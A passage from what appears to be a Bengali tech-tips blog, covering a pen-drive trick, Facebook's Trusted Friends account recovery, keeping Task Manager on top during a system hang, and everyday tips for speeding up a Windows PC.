    এরপর এটি কে ডাবল ক্লিক করুন ,yes বাটনে ক্লিক করুন ,এবং OK করুন.
    এবং পেনড্রাইভ খুলে আবার লাগান
    এরপর যে কোন ফাইল সেন্ড করুন পেন্ড্রাইভ এ , এবার পেন্ড্রাইভ এ গিয়ে দেখুন,আপনার পাঠানো ফাইল ঘুমাচ্ছে।
    ধন্যবাদ ।ভালো থাকবেন

    আপনার ফেইসবুক অ্যাকাউন্টের নিরাপত্তা দেবে বিশ্বস্ত বন্ধুরা!

    undefined
    সোস্যাল নেটওয়ার্কিং এর যুদ্ধে এগিয়ে থাকতে নিত্যনতুন সুবিধা যোগ করছে ফেইসবুক। ইদানিং যে আপডেট গুলো আসছে ফেইসবুকে তার সবচেয়ে নতুন সংস্করণ হচ্ছে বিশ্বস্ত বন্ধুদের সাহায্যে হ্যাক হওয়া একাউন্ট উদ্ধার করার পদ্ধতি। আপনার বিশ্বস্ত বন্ধুরা এবার এগিয়ে আসবে আপনার অ্যাকাউন্টের নিরাপত্তায়। অনেকের হয়তো এই সুবিধা এখনো সংযোজিত হয়নি কারণ এখনো বেটা টেস্টিং চলছে। তবে, একাউন্ট এর নিরাপত্তার খাতিরে সেলুলার সার্ভিস টা যেমন গুরুত্বপূর্ণ, এই সুবিধা টাও সেরকম গুরুত্বপূর্ণ একটি সংযোজন।
    facebook trusted friends

    হ্যাক হওয়া অ্যাকাউন্ট ফিরিয়ে আনুন আপনার বিশ্বস্ত বন্ধুদের সাহায্যেঃ

    বিশ্বস্ত বন্ধুর সাহায্য নিয়ে একাউন্ট রিকভারি করা হচ্ছে সবচেয়ে নতুন আপডেট একাউন্টের নিরাপত্তার জন্য। আপনার কাছের ৩-৫ জন কে আপনি যদি বাছাই করুন বিশ্বস্ত বন্ধু হিসেবে তবে কোনভাবে যদি আপনার একাউন্ট হ্যাক হয়, অথবা আপনি পাসওয়ার্ড ভুলে যান তবে সেই বন্ধুদের কাছে ফেইসবুক অথরিটি প্রয়োজনীয় ব্যবস্থা গ্রহণের উপায় এবং করণীয় এর বিবরণী পাঠাবে।
    সার্ভিস টি চালু করার জন্য Account Settings –> Security –> Trusted Friends এ গিয়ে ৩-৫ জন কাছের বন্ধু কে অ্যাড করে রাখুন। তবে মনে রাখবেন, এখনো বেটা টেষ্টিং এ আছে। তাই অপশন টি না পেলে চিন্তা করার কিছু নেই, কয়দিন পরেই হয়তো পাবেন।
    একবার চালু করার পরে, যদি কখনো কোন কারণে আপনার একাউন্টে আর লগ ইন না করতে পারেন, তবে ফেইসবুক ইন্টারফেইস এক কাছের বন্ধুদের কাছে সিকিউরিটি কোড পাঠাবে যা আপনি লগ ইন করার জন্য ব্যবহার করবেন। এবং সঠিক কোড দিলে সর্বোচ্চ ২৪ ঘন্টা লাগতে পারে একাউন্ট এর রিকভারী করার জন্য। হয়তো ২৪ ঘন্টা একটু বেশি সময় মনে হতে পারে, কিন্তু একাউন্ট হারানোর মত বাজে তো আর নয়।

    কম্পিউটার হ্যাং ছাড়ান এক ক্লিকে (কোন সফটওয়ার ছাড়া)

    সবাইকে সালাম জানিয়ে শুরু করতেছি আমার আজকের টিউন । কেমন আছেন সবাই । আশা করি সবাই ভালো আছেন ।
    অনেক দিন পর আবারো নতুন কিছু নিয়ে হাজির হলাম আপনাদের সামনে । শিরোনাম দেখেই হয়ত বুঝতেই পারছেন কি নিয়ে আলোচনা করব ।
    ১/ প্রথমে আপনি Task Manager এ ক্লিক করেন ।
    ২/ এবার Task Manager গিয়ে More Details এ ক্লিক করুন ।
    ৩/ Task Manager এর ওপরের দিকে দেখুন (File Options View) এ্ই ৩টি অপশন পাবেন ।
    ৪/ ওখান থেকে Options এ ক্লিক করে ওখান থেকে Always On Top এ ক্লিক করুন ।
    আপনার কাজ শেষ ।
    এবার কম্পিউটার হ্যাং করুন বা হ্যাং হলে Task Manager অপেন করুন এবং অনাকাংখিত Application গুলো Close করুন । এখন প্রশ্ন হচ্ছে কম্পিউটার হ্যাং হলে Task Manager Hang Application এর নিচে থাকে বলে কাজ করা যায় না । কিন্তু আপনি যখন ওপরের কাজগুলো করে আসবেন তখন Task Manager সব Application এর ওপরে পাবেন এবং আপনার কাজ করতে পারবেন ।
    হ্যাং হলে Task Manager এ যাওয়ার নিয়ম হলো :- Ctrl + Shift + Esc Key এক সাথে চেপে ধরুন ।

    কম্পিউটারের গতি বাড়ানোর ৫ উপায়

    undefined
    কম্পিউটারটির কাজের গতি কমে গেলে সেটি মাথা ব্যথার কারণ হয়ে দাঁড়ায়। কিন্তু সহজেই এড়ানো যায় এই সমস্যা।
    গতি বাড়িয়ে নিন স্টার্টআপের
    বেশিরভাগ সময় কম্পিউটারের গতি কমে আসার কারণ, কম্পিউটারটি চালু হবার সঙ্গে সঙ্গে একাধিক সফটওয়্যার বা টাস্ক চালু হয়ে যাওয়া। Autoruns-এর মতো টুল ডাউনলোড করে সফটওয়্যারগুলো স্টার্টআপের সময় চালু হয়ে যায়। তবে সবসময় প্রয়োজন পড়েনা এমন সফটওয়্যারগুলো ডিসএবল করে রাখতে পারেন। অথবা ব্যবহার করা যেতে পারে উইন্ডোজের বিল্ট ইন ইউটিলিটি MSConfig। স্টার্টআপ ট্যাবে গিয়ে সার্চ বা রানে টাইপ করুন MSConfig। এরপর আইটিউনস, অব্যবহৃত মেসেঞ্জার বা প্রিন্টারের মতো যে সফটওয়্যারগুলো পিসি চালু হবার সঙ্গে সঙ্গেই প্রয়োজন হয়না, টিক চিহ্ন উঠিয়ে দিন সেগুলোর ওপর থেকে। এরপর পিসি রিস্টার্ট করলে সেগুলো নিজে নিজে চালু হবে না। ফলে কিছুটা বাড়বে এর গতি।
    বেছে নিন প্রয়োজনীয় সফটওয়্যার
    ইন্টারনেট সার্ফিং যদি খুব ধীরগতির হয়, কয়েকটি সহজ পরিবর্তন এ সমস্যার সমাধান করতে পারে। ইন্টারনেট এক্সপ্লোরার ব্যবহার করলে তার বদলে গুগল ক্রোম ব্যবহার করুন। দ্রুত গতির সার্ফিং সুবিধার কারণে জনপ্রিয়তা পেয়েছে গুগলের ব্রাউজারটি। ক্রোম সেটিংস থেকে ‘ক্লিয়ার ব্রাউজিং ডেটা’য় যান এবং কুকি, ক্যাশ, ব্রাউজিং হিস্ট্রি এবং ডাউনলোড হিস্ট্রির মতো টেম্পোরারি ইন্টারনেট ফাইলগুলোর ওপর টিক দিন।
    এছাড়াও ব্যবহার করতে পারেন পিরিফর্মের সফটওয়্যার CCleaner। সফটওয়্যারটি ব্রাউজার, উইন্ডোজ এবং রেজিস্ট্রির সব টেম্পোরারি ফাইল মুছে ফেলে গতি বাড়িয়ে দেবে আপনার কম্পিউটারের।
    আনইনস্টল করুন অপ্রয়োজনীয় সফটওয়্যার
    অব্যবহৃত সফটওয়্যারগুলো আনইনস্টল করলে চাপ কমবে আপনার পিসির ওপর। উইন্ডোজ মিডিয়া প্লেয়ারের মতো সফটওয়্যারগুলো চালাতে প্রয়োজন হয় অনেক বেশি কম্পিউটিং ক্ষমতার। এ ধরনের সফটওয়্যারগুলো ব্যবহার না করলে আনইনস্টল করে দিতে পারেন। বিকল্প হিসেবে ব্যবহার করতে পারেন বিভিন্ন ওপেন সোর্স ফ্রি অ্যাপ্লিকেশন, যা কম্পিউটারের র‌্যামের ওপর কম চাপ সৃষ্টি করে।
    ব্যবহার করা যেতে পারে ভিএলসি মিডিয়া প্লেয়ার। ওপেন সোর্স মিডিয়া প্লেয়ারটি ডিভিডি রিপ করে এবং প্রায় সব ফরম্যাটের মিডিয়া ফাইল চালাতে পারে। অ্যাডোবি রিডারের বদলে ব্যবহার করতে পারেন FoxIt Reader যা অ্যাডোবি রিডারের তুলনায় কম র‌্যাম ব্যবহার করে। মাইক্রোসফট অফিসের বিকল্প হিসেবে ব্যবহার করতে পারেন ওপর সোর্স ওয়ার্ড প্রসেসর AbiWord এবং অ্যাপাচির Open Office।
    চালু করে দিন অটোম্যাটিক আপডেট
    সফটওয়্যার আপডেট নোটিফিকেশন সামনে আসলেই আলসেমি করে ‘রিমাইন্ড মি লেটার’ ক্লিক করা যেনো একরকম অভ্যাসেই পরিণত হয়েছে আমাদের। রিমাইন্ড মি লেটারে চাপতে চাপতে কম্পিউটারের গতি এতোটাই কমে আসে যে, শেষ পর্যন্ত পুরো একটি দিনই পার করতে হয় সফটওয়্যার আপডেট করতে গিয়ে। পুরো একদিন সফটওয়্যার আপডেট করে কাটানো এড়াবার সহজ উপায় হচ্ছে সফটওয়্যার আপডেটগুলো অটোম্যাটিক করে দেয়া।
    মাই কম্পিউটারের প্রপার্টিজ থেকে চলে যান অটোম্যাটিক আপডেট অপশনে। নিশ্চিত করুন প্রয়োজনীয় সফটওয়্যারের আপডেটগুলো যেনো অটোম্যাটিক ডাউনলোড হয়ে ইনস্টল হয়ে যায়। কোনো সফটওয়্যার ম্যানুয়ালি আপডেট করার প্রয়োজন আছে কিনা তা জানতে FileHippo.com থেকে Update Checker সফটওয়্যারটি ডাউনলোড করে ব্যবহার করতে পারেন। সফটওয়্যারটি আপনার কম্পিউটার স্ক্যান করে কোনো সফটওয়্যারের আপডেট অনলাইনে আছে কিনা তা জানিয়ে দেবে মুহ‚র্তের মধ্যে।
    প্রয়োজনে আপগ্রেড করুন হার্ডওয়্যার
    কম্পিউটারের গতি বাড়ানোর কার্যকর উপায়গুলোর একটি হচ্ছে গ্রাফিক্স কার্ড ব্যবহার। আলাদা গ্রাফিক্স কার্ড কিনে মাদারবোর্ডে ব্যবহার একটু জটিল হলেও গতি বাড়ানোর উপায়গুলোর একটি এটি। কম্পিউটারের গতি বাড়ানোর আরেকটি কার্যকর উপায় হচ্ছে র‌্যাম বাড়িয়ে নেয়া। র‌্যান্ডম অ্যাকসেস মেমোরি বা র‌্যামের ক্ষমতা বাড়ালে গতি বাড়বে আপনার কম্পিউটারের।
    সফটওয়্যার ডাউনলোডের জন্য সবসময় ডাউনলোড ডটকমhttp://download.cnet.com বা এ ধরনের নির্ভরযোগ্য সাইট ব্যবহার করুন।
    তবে, যারা সফটওয়্যার ইনস্টলসহ কম্পিউটারের বিভিন্ন অপশন নিয়ে কাজ করেছেন তেমন অভিজ্ঞতা থাকলেই কেবল আলোচিত পদ্ধতিগুলো ব্যবহার করে দেখতে পারেন। নইলে যে কোনো ভুল আপনার ঝামেলাই কেবল বাড়াবে।

    কম্পিউটার Slow হয়ে গেছে? No Tension!!!Speed নিয়ে যান।

    আসসালামু আলাইকুম, সবাইকে শুভেচ্ছা।আজ আমি আপনাদের কিছু টিপস দেব (হয়ত আপনি আগে থেকেই জানতেন) যা আপনার PC কে আরও Speed দিতে পারে। কথা না বাড়িয়ে কাজে আসি ।নিম্নের কাজগুলো করে দেখুন :
    • Ctrl + Alt + Delete চেপে বা টাস্কবারে মাউস রেখে Right Button ক্লিক করে Task Manager খুলুন। তারপর Processes-এ ক্লিক করুন। অনেকগুলো Program- তালিকা দেখতে পাবেন। এর মধ্যে যেগুলো এখন কাজে লাগছে না সেগুলো নির্বাচন করে End Process-এ ক্লিক করে বন্ধ করে দিন। যদি কিছু ভুল করে বন্ধ করে ফেলেন এবং অপারেটিং সিস্টেমের যদি কোন সমস্যা হয় তবে PC রিস্টার্ট করুন।
    • কিছু সময় পরপর Start এ গিয়ে Run লিখে এনটার দিয়ে tree লিখে ok করুন।
    • Control Panel এ যান। Add or Remove এ দুই ক্লিক করুন।  Add/Remove windows components-এ ক্লিক করুন। নতুন যে উইন্ডো আসবে সেটির বামপাশে অদরকারি program গুলোর পাশের টিক চিহ্নগুলি তুলে দিন। তারপর Accessories and Utilities নির্বাচন করে Details এ ক্লিক করুন। নতুন যে উইন্ডো আসবে সেটি থেকে যে program গুলো আপনার কাজে না সেগুলোর টিক চিহ্নগুলো তুলে OK করুন। এখন next এ ক্লিক করুন। Successful message আসলে Finish এ ক্লিক করুন।
    • অনেক সময় PC’র র‍্যাম কম থাকলে PC slow হয়ে যায়। ভার্চুয়াল মেমোরি বাড়িয়ে কিছুতা গতি বাড়ানো যায়। এর জন্য- My Computer এ মাউস রেখে right button ক্লিক করে properties-e যান। এখন advance এ ক্লিক করে performance এর settings এ ক্লিক করুন। আবার advance -এ ক্লিক করুন। এখন change এ ক্লিক করে নতুন উইন্ডো এলে সেটির Initial size ও Maximum size-এ আপনার ইচ্ছামত size লিখে set-এ ক্লিক করে ok দিয়ে বেরিয়ে আসুন। তবে Initial size এ আপনার PC’র র‍্যামের দ্বিগুণ এবং Maximum size এ র‍্যামের চারগুন দিলে ভাল হয়।

    Facebook Twitter RSS